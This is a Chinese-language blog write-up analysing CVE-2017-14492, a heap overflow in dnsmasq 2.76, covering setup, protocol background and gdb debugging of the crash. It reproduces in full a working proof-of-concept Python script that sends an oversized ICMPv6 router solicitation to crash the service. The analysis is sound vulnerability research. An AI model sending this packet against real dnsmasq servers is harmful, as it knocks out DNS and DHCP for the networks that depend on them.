【CVE分析】CVE-2017-14492 dnsmasq堆缓冲区溢出漏洞

dnsmasq 堆缓冲区溢出漏洞

exploit-db 上搜到了这个漏洞,最近看了 dnsmasq 所以来分析一下。

漏洞详情

Dnsmasq 是轻型 DNS 转发器和 DHCP 服务器。Google 安全团队对 dnsmasq 进行测试后,共发现了 7 个漏洞,披露如下:

CVE 影响 Vector 备注 PoC
CVE-2017-14491 RCE DNS 基于堆的溢出(2字节)。2.76之前,此提交溢出不受限制。 PoC说明ASAN报告
CVE-2017-14492 RCE DHCP 基于堆的溢出。 PoC说明ASAN报告
CVE-2017-14493 RCE DHCP 基于堆栈的溢出。 PoC说明ASAN报告
CVE-2017-14494 信息泄露 DHCP 可以帮助绕过 ASLR。 PoC说明
CVE-2017-14495 OOM/DoS DNS 这里缺少 free()。 PoC说明
CVE-2017-14496 DoS DNS 这里没有边界检查。整数下流导致一个巨大的memcpy。 PoC说明ASAN报告
CVE-2017-13704 DoS DNS CVE-2017-13704的漏洞产生碰撞

这里主要对 CVE-2017-14492 进行分析。本质上看,CVE-2017-14492 利用了 dnsmasq 在处理 NDP 邻居发现协议的数据包时,option 字段可写入的数据长度大于了 dnsmasq 内部定义的缓冲区大小,从而导致了缓冲区溢出。由于写入的字符被转义,目前来看难以实现远程代码执行。

漏洞复现

环境搭建

Google 团队将 poc 等相关内容放在了 github 上:https://github.com/google/security-research-pocs/tree/master/vulnerabilities/dnsmasq 。接下来按照 poc 的内容来复现该环境。

我在 ubuntu 16.04 下复现该环境。

由于已经给出了复现环境使用的 dockerfile,我一开始使用这个 dockerfile 做复现,但是中间遇到了很多问题:

  1. FROM debian 版本:Dockerfile 里没有指明版本,我在运行 apt-get 的时候参数 --force-yes 不支持;安装相关的包时也出现了版本不支持的问题。(最主要的是,我没怎么用过 debian,不知道应该选择 debian 的哪个版本来进行安装)
  2. RUN git clone git://thekelleys.org.uk/dnsmasq.git dnsmasq 版本:并未指明 dnsmasq 的版本,目前下载将编译最新版,当然没有漏洞了。。
  3. 安装了 ASAN:可能用于内存分析,但是我并不想用这个软件。

基于这些原因,我决定直接在 ubuntu 16.04 下手动编译安装 dnsmasq 2.76 版本。当然还是使用 Clion 调试。我喜欢图形化界面。

1
2
wget https://thekelleys.org.uk/dnsmasq/dnsmasq-2.76.tar.gz
tar zxvf dnsmasq-2.76.tar.gz

用 clion 打开这个目录。(新版本的 clion 支持了 Makefile 管理工程,就不需要额外的操作了)

修改 Makefile 中的 PREFIX 路径:

1
2
# old: PREFIX = /usr/local
PREFIX = $(SRC)/../build

修改 Makefile 中的 CFLAGS 参数,添加调试信息:

1
2
# old: CFLAGS = -Wall -W -O2
CFLAGS = -Wall -W -O2 -g

然后直接 make 即可在 src 目录下看到可执行文件 dnsmasq。

漏洞测试

查看 dnsmasq 的帮助文档:

1
2
3
4
ubuntu@ubuntu:~/Desktop/cve-2017-14492-dnsmasq/dnsmasq-2.76/src$ ./dnsmasq --help | grep "config"
-C, --conf-file=<path> Specify configuration file (defaults to /etc/dnsmasq.conf).
-7, --conf-dir=<path> Read configuration from all the files in this directory.
--test Check configuration syntax.

可以用 -C 来指定参数的位置。

编写 dnsmasq.conf 如下:

1
2
3
4
5
6
7
8
interface=ens33
interface=lo
resolv-file=/tmp/resolv.dnsmasq.conf

strict-order

address=/abc.com/192.168.61.110
log-facility=/tmp/log/dnsmasq.log

编写 resolv.dnsmasq.conf 如下:

1
2
3
nameserver 127.0.0.1
nameserver 8.8.8.8
nameserver 192.168.254.1 # 网关地址

将两个配置文件都放在 /tmp 目录下。然后启动 dnsmasq:

1
sudo ./dnsmasq -k -C /tmp/dnsmasq.conf --no-daemon --dhcp-range=fd00::2,fd00::ff --enable-ra
image-20210822204600552

在另一个 terminal 运行 poc

1
sudo python 14492.py ::1
image-20210822204921317

此时,dnsmasq 触发崩溃:

image-20210822205038049

漏洞分析

接下来分析程序是如何崩溃的。

分析之前的准备

先看看 poc 都做了什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from struct import pack
import socket
import sys

ND_ROUTER_SOLICIT = 133
ICMP6_OPT_SOURCE_MAC = 1

def u8(x):
return pack("B", x)

def send_packet(data, host):
print("[+] sending {} bytes to {}".format(len(data), host))
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data))

if s.sendto(data, (host, 0)) != len(data):
print("[!] Could not send (full) payload")
s.close()

if __name__ == '__main__':
assert len(sys.argv) == 2, "Run via {} <IPv6>".format(sys.argv[0])
host, = sys.argv[1:]
pkg = b"".join([
u8(ND_ROUTER_SOLICIT), # type
u8(0), # code
b"X" * 2, # checksum
b"\x00" * 4, # reserved
u8(ICMP6_OPT_SOURCE_MAC), # hey there, have our mac
u8(255), # Have 255 MACs!
b"A" * 255 * 8,
])

send_packet(pkg, host)

脚本构造了一个数据包,发送给 dnsmasq,然后 dnsmasq 就崩溃了。构造的数据包内容是 NDP 报文(邻居发现协议,neighbor discovery protocol)。

参考链接:

NDP 协议与 ARP 协议

邻居发现协议用于替代 IPv4 的 ARP 协议,并且添加了新的功能。ARP 存在一些问题:

  1. ARP 欺骗
  2. MAC 地址泛洪:arp 协议保存物理地址到 ip 地址的映射,但是存满之后,不知道如何处理的数据包会广播到所有地址;
  3. MAC 复制:在 MAC 复制攻击中,交换机会误以为两个端口具有相同的 MAC 地址。

NDP 协议是基于 ICMPv6 报文实现的。所以 NDP 是三层协议(网络层)。下面介绍 NDP 协议的相关功能。

NDP 协议的地址解析功能

对应 arp 协议的功能。主机A 要和主机 B 通信,需要知道主机B的二层地址。

地址解析使用两种报文,邻居请求 NS(neighbor solicitation),邻居通告 NA(neighbor advertisement)。从下图可以看到,本质上使用广播的方式来确认对方的 MAC 地址。

img

NDP 报文格式

在这里插入图片描述
  • 类型 : 消息类型, RS(路由请求) 固定为 133,RA(路由通告)固定为 134
  • 代码 : 发送者固定为 0,接收者忽略
  • 校验和 : 用于校验 ICMPv6 和部分 IPv6 首部完整性
  • 选项 : 源链路层地址选项,发送者的链路层地址,如果知道的话

参考一个正常的 NDP 请求:

image-20210824152605043

可以看到,Option 字段 Type = 1 时表示 Source link-layer address,长度为 8 字节(mac 地址是 6 字节,Length 是 8 字节对齐,1 表示 8 字节)。所以下面构造的数据包中,link-layer addr 的长度设置为了 255 字节。

1
2
3
4
5
6
7
8
9
10
11
# ND_ROUTER SOLICIT = 133
# ICMP6_OPT_SOURCE_MAC = 1
pkg = b"".join([
u8(ND_ROUTER_SOLICIT), # RS 路由请求
u8(0), # code 请求发送者是 0
b"X" * 2, # checksum
b"\x00" * 4, # reserved 保留字段
u8(ICMP6_OPT_SOURCE_MAC), # 可选头,表示 Source link-layer addr
u8(255), # 长度是 255 字节!
b"A" * 255 * 8, # Link-layer address
])

构建调试环境

参考文章 CSDN: Clion编译调试Makefile项目,在 Custom Build Target 中添加一项:(例如 build_target ):

image-20210822163341579

build 和 clean 的语句留空即可。保存并编译工程后,在 run 处就能看到对应的目标了:

image-20210822163650096

然后配置调试项:

image-20210822211801546

  1. 选择 all 而不是 dnsmasq(如果选 dnsmasq 能用的话应该也可以)

  2. 在 Executable 选项选择 src 目录下编译得到的可执行文件 dnsmasq

  3. Program arguments 填写前面给出的参数:

    1
    -k -C /tmp/dnsmasq.conf --no-daemon --dhcp-range=fd00::2,fd00::ff --enable-ra
  4. 勾选“使用 root 权限运行”,否则会报权限错误

分析漏洞

以调试模式启动 dnsmasq。然后运行 poc,Clion 检测到程序崩溃。切换到 gdb 命令行窗口输入 gcore /tmp/core-dnsmasq 将当前崩溃信息导出 coredump。使用 gdb -c /tmp/core-dnsmasq 查看 coredump 内容:

image-20210824104028183

可以很明显看到,rax 的值是非法地址,引用地址时出错。Clion 给出的函数调用栈为:

image-20210824105504225

在 rdav.c 中的 icmp6_packet() 函数中,在使用 bridge 指针时,bridge 指针的值是非法地址(213 行),如下:

1
2
3
4
5
6
7
8
9
for (bridge = daemon->bridges; bridge; bridge = bridge->next)
{
// error: bridge = 0x3a31343a31343a31
int bridge_index = if_nametoindex(bridge->iface);
// error
if (bridge_index)
{
for (alias = bridge->alias; alias; alias = alias->next)
... ...

因此单步调试 icmp6_packet() 函数:

188 行及后续内容如下,可以看出是在检查 NDP 报文的对应内容。

1
2
3
4
5
6
7
8
if (packet[1] != 0) // 判断是否是一个NDP请求,RS的该标志位都是0
return;

if (packet[0] == ICMP6_ECHO_REPLY) // ICMP6_ECHO_REPLY = 129
lease_ping_reply(&from.sin6_addr, packet, interface);
else if (packet[0] == ND_ROUTER_SOLICIT) // 命中,ND_ROUTER_SOLICIT=133
{
... ...

packet 对应的就是 ndp 报文:

1
2
3
4
5
6
7
8
9
10
11
(gdb) x/20xg packet
0x193a1c0: 0x00000000c2700085 0x414141414141ff01
0x193a1d0: 0x4141414141414141 0x4141414141414141
0x193a1e0: 0x4141414141414141 0x4141414141414141
0x193a1f0: 0x4141414141414141 0x4141414141414141
0x193a200: 0x4141414141414141 0x4141414141414141
0x193a210: 0x4141414141414141 0x4141414141414141
0x193a220: 0x4141414141414141 0x4141414141414141
0x193a230: 0x4141414141414141 0x4141414141414141
0x193a240: 0x4141414141414141 0x4141414141414141
0x193a250: 0x4141414141414141 0x4141414141414141

继续向后看:

1
2
3
4
5
6
7
8
9
10
11
 else if (packet[0] == ND_ROUTER_SOLICIT) 
{
char *mac = "";
struct dhcp_bridge *bridge, *alias;

/* look for link-layer address option for logging */
if (sz >= 16 && packet[8] == ICMP6_OPT_SOURCE_MAC && (packet[9] * 8) + 8 <= sz)
{
print_mac(daemon->namebuff, &packet[10], (packet[9] * 8) - 2);
mac = daemon->namebuff;
}

packet[8] 对应的是 poc 设置的 ICMP6_OPT_SOURCE_MAC 标志位, packet[9] 对应 poc 设置的 size 位,对应的大小是 255*8 字节。

print_mac() 函数的功能,是将 namebuff 中保存的 mac 地址转换为可读格式:

1
2
3
// in print_mac() util.c, line 567
for (i = 0; i < len; i++)
p += sprintf(p, "%.2x%s", mac[i], (i == len - 1) ? "" : ":");

然而,在 option.c 文件的 4495 行,定义了 daemon->namebuff 缓冲区,可以知道 namebuff 的长度是 1025 字节。

1
2
3
4
5
6
// #define MAXDNAME	1025
char *buff = opt_malloc(MAXDNAME);

... ...

daemon->namebuff = buff;

显然,构造的数据包 255*8 字节的数据保存到 namebuff 之后,造成了缓冲区溢出。

image-20210825150501404

本来觉得能够溢出,就能看看能不能写写指针,但是写入的数据都被 %.2x 转义了。感觉利用无望啊。